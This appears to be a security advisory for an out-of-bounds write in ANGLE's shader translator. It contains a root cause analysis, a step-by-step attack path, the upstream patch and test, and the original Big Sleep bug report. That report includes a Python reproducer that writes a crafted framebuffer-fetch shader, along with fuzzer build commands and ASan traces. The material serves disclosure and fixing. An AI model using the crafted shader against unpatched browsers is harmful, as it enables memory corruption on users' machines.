CVE-2025-8901
Overview
Background
- ANGLE translator
- the shader compiler front-end that validates and rewrites GLSL/ESSL before handing it to a backend;
Compiler::compileTreeImplorchestrates its validation and rewrite passes. - `ValidateOutputs` / `ValidateOutputsTraverser`
- a pass that walks fragment-shader output symbols and enforces that declared output
locationvalues stay within theMaxDrawBufferslimit. - `EvqFragmentOut` / `EvqFragmentInOut`
- qualifiers marking a fragment output variable;
EvqFragmentInOutdenotes aninoutoutput used by the shader framebuffer fetch extension (GL_EXT_shader_framebuffer_fetch). - `RewritePixelLocalStorage` (PLS)
- a rewrite pass for
ANGLE_shader_pixel_local_storagethat can produce nodes without specifiedlocations.
Root Cause Analysis
ValidateOutputsTraverser::visitSymbol enforced the per-location MaxDrawBuffers bound only for symbols qualified EvqFragmentOut, skipping inout outputs qualified EvqFragmentInOut. When shader framebuffer fetch is enabled, an inout vec4 declared at layout(location = MaxDrawBuffers) therefore bypassed location validation entirely, so a shader could reference/write an output slot beyond the MaxDrawBuffers limit — the source of the out-of-bounds write described in the commit.
The fix extends the qualifier check to qualifier == EvqFragmentOut || qualifier == EvqFragmentInOut, so inout outputs are subjected to the same location bounds check and an over-limit location now yields a compile error. Separately, RewritePixelLocalStorage was moved in Compiler::compileTreeImpl to run after ValidateOutputs, because PLS-produced inout nodes lack specified locations and would otherwise interfere with the newly extended validation. The shipped test CompileFSWithInoutLocBeyondMaxDrawBuffers confirms such a shader must now fail compilation.
EvqFragmentOut and omitted the inout qualifier EvqFragmentInOut, so framebuffer-fetch inout variables could declare locations past MaxDrawBuffers; the fix adds EvqFragmentInOut to the same check (and reorders the PLS pass so validation sees real locations).Attack Path
- Enable framebuffer fetch
Attacker-controlled WebGL/GLES content compiles a fragment shader that requires
GL_EXT_shader_framebuffer_fetch, unlockinginoutfragment outputs. - Declare an out-of-range inout output
The shader declares an
inoutoutput atlayout(location = MaxDrawBuffers)(or higher), e.g.inout vec4 inoutArray[1], a location past the legal draw-buffer range. - Bypass validation
Because pre-patch
visitSymbolonly checkedEvqFragmentOut, theEvqFragmentInOutsymbol is never location-checked, so compilation succeeds instead of erroring. - Write beyond the limit
The shader reads and writes
inoutArray[0], causing a write into memory beyond theMaxDrawBuffers-bounded output storage — the out-of-bounds write the commit message describes; any resulting corruption primitive or escalation is(inferred).
Impact Assessment
MaxDrawBuffers-sized output region in the GPU/ANGLE process by declaring an inout output at an over-limit location. The only precondition is the ability to compile such a shader with GL_EXT_shader_framebuffer_fetch available. The advisory classifies this as OOB / “Out of bounds write in ANGLE”; the issue was fuzzer-discovered per the test comment, no in-the-wild exploitation is stated, and any further memory-corruption escalation is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
WebGLGLSLTestsrc/tests/gl_tests/GLSLTest.cpp |
modified |
Files Changed
src/compiler/translator/Compiler.cppsrc/compiler/translator/ValidateOutputs.cppsrc/tests/gl_tests/GLSLTest.cpp
Audit Directions
- Qualifier enumerations with incomplete coverageAudit validators that switch on or compare against output/input qualifiers to ensure newer qualifiers like
EvqFragmentInOutare included whereverEvqFragmentOutis checked. - Pass ordering vs. validationReview the translator pass pipeline for rewrite passes (e.g.
RewritePixelLocalStorage) that run before validation and can introduce nodes lacking properties (locations) that later checks assume. - Extension-gated output slotsExamine features that add new kinds of fragment outputs (framebuffer fetch, PLS, dual-source blending) for consistent enforcement of
MaxDrawBuffers/location bounds.
Patch
From fc0e039788e8741ff8b4e8c58dbc1934c8148852 Mon Sep 17 00:00:00 2001
From: Amirali Abdolrashidi <abdolrashidi@google.com>
Date: Thu, 31 Jul 2025 13:15:45 -0700
Subject: [PATCH] Translator: Fix location validation for inout
Without this validation, a shader using an inout variable can
write into a memory beyond the limit set by MaxDrawBuffers when
shader framebuffer fetch is enabled.
* Extended the location check in visitSymbol() to include InOut
qualifiers (EvqFragmentInOut) as well (in ValidateOutputsTraverser).
* Moved RewritePixelLocalStorage() after ValidateOutputs() to avoid
issues related to locations not being specified in the InOut nodes
from the PLS implementation.
* Added a unit test to test that this case results in a compilation
error: GLSLTest_ES3.CompileFSWithInoutLocBeyondMaxDrawBuffers
Bug: chromium:435139154
Change-Id: I44c729377a2e1d3126c2d279172217b2ab92b57b
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/6806230
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
Reviewed-by: Yuxin Hu <yuxinhu@google.com>
Commit-Queue: Shahbaz Youssefi <syoussefi@chromium.org>
---
diff --git a/src/compiler/translator/Compiler.cpp b/src/compiler/translator/Compiler.cpp
index 3b03341..8ec3f6d 100644
--- a/src/compiler/translator/Compiler.cpp
+++ b/src/compiler/translator/Compiler.cpp
@@ -920,24 +920,6 @@
}
}
- // For now, rewrite pixel local storage before collecting variables or any operations on images.
- //
- // TODO(anglebug.com/40096838):
- // Should this actually run after collecting variables?
- // Do we need more introspection?
- // Do we want to hide rewritten shader image uniforms from glGetActiveUniform?
- if (hasPixelLocalStorageUniforms())
- {
- ASSERT(
- IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage));
- if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions,
- getShaderVersion()))
- {
- mDiagnostics.globalError("internal compiler error translating pixel local storage");
- return false;
- }
- }
-
if (shouldRunLoopAndIndexingValidation(compileOptions) &&
!ValidateLimitations(root, mShaderType, &mSymbolTable, &mDiagnostics))
{
@@ -1079,6 +1061,24 @@
return false;
}
+ // For now, rewrite pixel local storage before collecting variables or any operations on images.
+ //
+ // TODO(anglebug.com/40096838):
+ // Should this actually run after collecting variables?
+ // Do we need more introspection?
+ // Do we want to hide rewritten shader image uniforms from glGetActiveUniform?
+ if (hasPixelLocalStorageUniforms())
+ {
+ ASSERT(
+ IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage));
+ if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions,
+ getShaderVersion()))
+ {
+ mDiagnostics.globalError("internal compiler error translating pixel local storage");
+ return false;
+ }
+ }
+
// Clamping uniform array bounds needs to happen after validateLimitations pass.
if (compileOptions.clampIndirectArrayBounds)
{
diff --git a/src/compiler/translator/ValidateOutputs.cpp b/src/compiler/translator/ValidateOutputs.cpp
index 927783d..d3481f1 100644
--- a/src/compiler/translator/ValidateOutputs.cpp
+++ b/src/compiler/translator/ValidateOutputs.cpp
@@ -72,15 +72,19 @@
void ValidateOutputsTraverser::visitSymbol(TIntermSymbol *symbol)
{
if (symbol->variable().symbolType() == SymbolType::Empty)
+ {
return;
+ }
if (mVisitedSymbols.count(symbol->uniqueId().get()) == 1)
+ {
return;
+ }
mVisitedSymbols.insert(symbol->uniqueId().get());
TQualifier qualifier = symbol->getQualifier();
- if (qualifier == EvqFragmentOut)
+ if (qualifier == EvqFragmentOut || qualifier == EvqFragmentInOut)
{
const TLayoutQualifier &layoutQualifier = symbol->getType().getLayoutQualifier();
if (layoutQualifier.location != -1)
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 0bf2197..1c4da1f 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -4475,6 +4475,37 @@
EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
}
+// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader
+// framebuffer fetch extension results in a compilation error.
+// (Based on a fuzzer-discovered issue)
+TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers)
+{
+ ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch"));
+
+ GLint maxDrawBuffers;
+ glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers);
+
+ const std::string fs = R"(#version 300 es
+#extension GL_EXT_shader_framebuffer_fetch : require
+precision highp float;
+layout(location = )" + std::to_string(maxDrawBuffers) +
+ R"() inout vec4 inoutArray[1];
+void main()
+{
+ vec4 val = inoutArray[0];
+ inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4);
+})";
+
+ GLuint shader = glCreateShader(GL_FRAGMENT_SHADER);
+ const char *sourceArray[1] = {fs.c_str()};
+ glShaderSource(shader, 1, sourceArray, nullptr);
+ glCompileShader(shader);
+
+ GLint compileResult;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult);
+ EXPECT_EQ(compileResult, 0);
+}
+
class WebGLGLSLTest : public GLSLTest
{
protected:
Regression Test / PoC
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 0bf2197..1c4da1f 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -4475,6 +4475,37 @@
EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
}
+// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader
+// framebuffer fetch extension results in a compilation error.
+// (Based on a fuzzer-discovered issue)
+TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers)
+{
+ ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch"));
+
+ GLint maxDrawBuffers;
+ glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers);
+
+ const std::string fs = R"(#version 300 es
+#extension GL_EXT_shader_framebuffer_fetch : require
+precision highp float;
+layout(location = )" + std::to_string(maxDrawBuffers) +
+ R"() inout vec4 inoutArray[1];
+void main()
+{
+ vec4 val = inoutArray[0];
+ inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4);
+})";
+
+ GLuint shader = glCreateShader(GL_FRAGMENT_SHADER);
+ const char *sourceArray[1] = {fs.c_str()};
+ glShaderSource(shader, 1, sourceArray, nullptr);
+ glCompileShader(shader);
+
+ GLint compileResult;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult);
+ EXPECT_EQ(compileResult, 0);
+}
+
class WebGLGLSLTest : public GLSLTest
{
protected:
Original Bug Report
ANGLE: Out-of-bounds write in EmulateFramebufferFetch
We are tracking this issue with the public ID BIGSLEEP-435156765. Please use this identifier for reference in any future communication.
Vulnerability Details
The vulnerability is an out-of-bounds write to an std::vector, which can be triggered by a specially crafted shader. The issue occurs in the setInputAttachmentIndex function within EmulateFramebufferFetch.cpp when processing framebuffer fetch extensions.
The root cause is the use of an unvalidated location layout qualifier from a fragment shader as an index into a vector. Here is a step-by-step explanation of the flaw:
- The
InputAttachmentUsageTraverserclass initializes a vector,mAttachmentTypes.color, with a size determined bymMaxDrawBuffers. In the context of the fuzzer harness,mMaxDrawBuffersis hardcoded to 1. In production, this value depends on the graphics driver’s capabilities.
class InputAttachmentUsageTraverser : public TIntermTraverser
{
...
{
mAttachmentTypes.color.resize(maxDrawBuffers, nullptr);
}
...
uint32_t mMaxDrawBuffers;
...
- When processing a shader, the
visitDeclarationfunction extracts thelocationlayout qualifier from aninoutvariable declaration. This value is taken directly from the untrusted shader source without prior validation.
bool InputAttachmentUsageTraverser::visitDeclaration(Visit visit, TIntermDeclaration *node)
{
...
const TType &type = symbol->getType();
const unsigned int baseInputAttachmentIndex =
std::max(0, type.getLayoutQualifier().location);
uint32_t arraySize = type.isArray() ? type.getOutermostArraySize() : 1;
for (unsigned int index = 0; index < arraySize; index++)
{
setInputAttachmentIndex(baseInputAttachmentIndex + index, &type);
}
...
}
- This untrusted
locationvalue is used as the base index in a subsequent call tosetInputAttachmentIndex, which then writes to themAttachmentTypes.colorvector at the provided index.
void InputAttachmentUsageTraverser::setInputAttachmentIndex(uint32_t index, const TType *type)
{
ASSERT(index < mMaxDrawBuffers);
mIndexUsage.set(index);
mAttachmentTypes.color[index] = type;
}
- Because the
locationis not validated againstmMaxDrawBuffers, a shader with a large location value (e.g.,layout(location = 38)) will cause a write beyond the bounds of themAttachmentTypes.colorvector, leading to memory corruption.
This vulnerability can only be triggered when all of the following conditions are met:
- The shader type is
GL_FRAGMENT_SHADER. - The
GL_EXT_shader_framebuffer_fetchextension is enabled via#extension GL_EXT_shader_framebuffer_fetch : require. - The fragment shader declares an
inoutvariable that is an array and has alayout(location = ...)qualifier.
Given that an attacker can control the offset of the out-of-bounds write, this vulnerability is considered High severity. This issue is mitigated by libc++ hardening within Chromium builds, but it does not appear that this protection is guaranteed across all supported ANGLE configurations.
Affected Version(s)
This issue has been reproduced in Chromium:
- at HEAD
- Chromium commit: 0333b43929bc32d574137e9c9e2f8803368664c9
- ANGLE commit: 51baa83f2cbbd1bff5754c7a3f6940d75e73b539)
- in Chromium version 138.0.7204.169
- Chromium commit: f67687ed433da666b8d134ca10de067bcc94c6fe:
- ANGLE commit: f67687ed433da666b8d134ca10de067bcc94c6fe)
Reproduction Case
Build Instructions
cd ~/chromium/src
gn gen out/angle
cat << EOF > out/angle/args.gn
is_debug = true
use_libfuzzer = true
EOF
autoninja -C out/angle angle_translator_fuzzer
Command
python3 repro.py
out/angle/angle_translator_fuzzer repro.bin
Test Case
The following Python script generates an input file that triggers the out of bounds write in InputAttachmentUsageTraverser::setInputAttachmentIndex.
import struct
GL_FRAGMENT_SHADER = 0x8B30
SH_WEBGL2_SPEC = 3
SH_SPIRV_VULKAN_OUTPUT = 15
header_type = struct.pack('<I', GL_FRAGMENT_SHADER)
header_spec = struct.pack('<I', SH_WEBGL2_SPEC)
header_output = struct.pack('<I', SH_SPIRV_VULKAN_OUTPUT)
# Set options - keep basic[0]=1 for objectCode
basic_options = bytearray(32)
basic_options[0] |= (1 << 0)
metal_options = b'\0' * 32
pls_options = b'\0' * 32
padding = b'\0' * 20
header = header_type + header_spec + header_output + bytes(basic_options) + metal_options + pls_options + padding
assert len(header) == 128
shader_code = """\
#version 300 es
#extension GL_EXT_shader_framebuffer_fetch : require
precision highp float;
layout(location = 38) inout vec4 myInoutArray[1];
void main() {
vec4 val1 = myInoutArray[0];
}\0""".encode()
program_input = header + shader_code
with open('repro.bin', 'wb') as f:
f.write(program_input)
ASan Report
In release mode (without debug asserts):
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233764993
INFO: Loaded 1 modules (65988 inline 8-bit counters): 65988 [0x5621269c75a0, 0x5621269d7764),
INFO: Loaded 1 PC tables (65988 PCs): 65988 [0x5621269d7768,0x562126ad93a8),
normal/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
../../third_party/libc++/src/include/__vector/vector.h:401: assertion __n < size() failed: vector[] index out of bounds
==3567765== ERROR: libFuzzer: deadly signal
#0 0x5621261fed91 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
#1 0x5621262aca3b in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
#2 0x56212626e04e in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
#3 0x7f0d621f0def (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
#4 0x5621266fadf3 in std::__Cr::vector<sh::TType const*, pool_allocator<sh::TType const*>>::operator[](unsigned long) third_party/libc++/src/include/__vector/vector.h:401:5
#5 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:79:5
#6 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
#7 0x56212656ebed in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#8 0x562126573b71 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#9 0x5621266f6300 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
#10 0x56212664c7c0 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
#11 0x5621266530d4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#12 0x5621263b5208 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
#13 0x56212622f576 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
#14 0x5621262712ac in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#15 0x562126242899 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
#16 0x56212624b0e0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
#17 0x562126231775 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#18 0x7f0d621daca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
NOTE: libFuzzer has rudimentary signal handlers.
Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal
In debug mode (with debug asserts):
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233529304
INFO: Loaded 1 modules (146905 inline 8-bit counters): 146905 [0x55bcd4daaac0, 0x55bcd4dce899),
INFO: Loaded 1 PC tables (146905 PCs): 146905 [0x55bcd4dce8a0,0x55bcd500c630),
debug/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
FATAL: EmulateFramebufferFetch.cpp:77 (setInputAttachmentIndex): ! Assert failed in setInputAttachmentIndex (../../third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77): index < mMaxDrawBuffers
==3567762== ERROR: libFuzzer: deadly signal
#0 0x55bcd3706651 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
#1 0x55bcd383eede in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
#2 0x55bcd37cfba9 in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
#3 0x55bcd37cfabf in fuzzer::Fuzzer::StaticCrashSignalCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:202:6
#4 0x55bcd3840fd7 in fuzzer::CrashHandler(int, siginfo_t*, void*) third_party/libFuzzer/src/FuzzerUtilPosix.cpp:46:3
#5 0x7fe6292b1def (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
#6 0x55bcd43b0d32 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77:5
#7 0x55bcd43ad634 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
#8 0x55bcd4036ba0 in sh::TIntermDeclaration::visit(sh::Visit, sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:170:16
#9 0x55bcd40350ef in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#10 0x55bcd4035760 in sh::TIntermNode::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:64:9
#11 0x55bcd403d763 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#12 0x55bcd403609e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#13 0x55bcd43a7d52 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
#14 0x55bcd41f1774 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
#15 0x55bcd41f9e84 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#16 0x55bcd3c1ee2a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
#17 0x55bcd3740ac4 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
#18 0x55bcd37d27da in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#19 0x55bcd3780c9b in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
#20 0x55bcd378625a in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
#21 0x55bcd37549e3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#22 0x7fe62929bca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
NOTE: libFuzzer has rudimentary signal handlers.
Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-10-28.
For more information, visit https://goo.gle/bigsleep